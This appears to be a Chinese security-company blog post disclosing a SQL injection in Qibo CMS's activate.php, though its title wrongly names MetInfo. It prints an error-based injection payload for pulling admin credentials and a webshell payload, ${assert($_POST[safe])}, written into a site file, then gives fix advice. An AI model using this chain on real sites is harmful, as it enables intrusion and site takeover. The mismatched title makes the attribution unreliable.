天天看點

MetInfo最新網站漏洞如何修複以及網站安全防護

齊博cms整站系統,是目前建站系統用的較多的一款CMS系統,開源,免費,第三方擴充化,界面可視化的操作,使用簡單,便于新手使用和第二次開發,受到許多站長們的喜歡。開發架構使用的是php語言以及mysql資料庫,強大的網站并發能力。于近日,我們SINE安全公司發現齊博cms又爆出高危的sql注入漏洞,關于該網站漏洞的詳情,我們來詳細的分析漏洞的産生以及如何利用。

在對整個網站代碼的漏洞檢測中發現do目錄下的activate.php存在可以插入惡意參數的變量值,我們來看下這個代碼:

MetInfo最新網站漏洞如何修複以及網站安全防護

齊博cms漏洞詳情:

從代碼裡發現這個代碼的功能是發送序列号激活的一個功能,從激活的連結位址裡,可以看出do/activate.php?job=activate&safe_id=$safe_id 是用來激活序列号的,我們從整個齊博的代碼裡找到了賬号激活的一個大體的過程,首先會注冊一個賬号,新增賬號後會需要發送郵件到使用者的郵箱裡,郵箱裡驗證的是safe_id這個值,這個safe_id這個值經過md5的解密後直接生成uaername跟使用者的密碼,然後再傳入到get_safe()這個函數,在這個inc檔案夾下的class.user.php代碼裡找得到這個函數。

我們發現這個get_safe()函數是用來傳遞使用者的激活資訊,并進行安全過濾與判斷的,從這裡我們可以插入惡意的sql語句到網站後端裡去,并直接到資料庫中執行該語句,我們本地來測試一下是否可以sql注入:

MetInfo最新網站漏洞如何修複以及網站安全防護

從上圖我們可以看出可以進行網站sql注入攻擊,那麼我們就可以進行查詢資料庫的賬号密碼操作,比如查詢網站超級管理者的賬号密碼:and (updatexml(1,concat(0x7e,(substring((selectusername from qb_memberdata where groupid=3),1, 這個語句就是查詢超級管理者的賬号密碼,通過這裡我們查到網站的管理者賬号密碼,登入背景,我們進行遠端代碼提權了。

MetInfo最新網站漏洞如何修複以及網站安全防護

增加欄目為${assert($_POST[safe])},一句話後門的代碼會直接寫入到/data/guide_fid.php檔案,用一句話木馬連接配接工具連接配接即可。

關于齊博cms漏洞的修複,我們SINE安全建議網站的運用者,盡快更新齊博CMS到最新版本,對于sql注入語句進行安全過濾與sql注入防護,對網站的背景預設位址進行詳細的更改為其他的檔案名。對于前端網站進行sql語句查詢的時候進行網站安全白名單系統部署,網站背景的賬号密碼設定的複雜一些,盡可能的用數字+大小寫+特殊字元組合。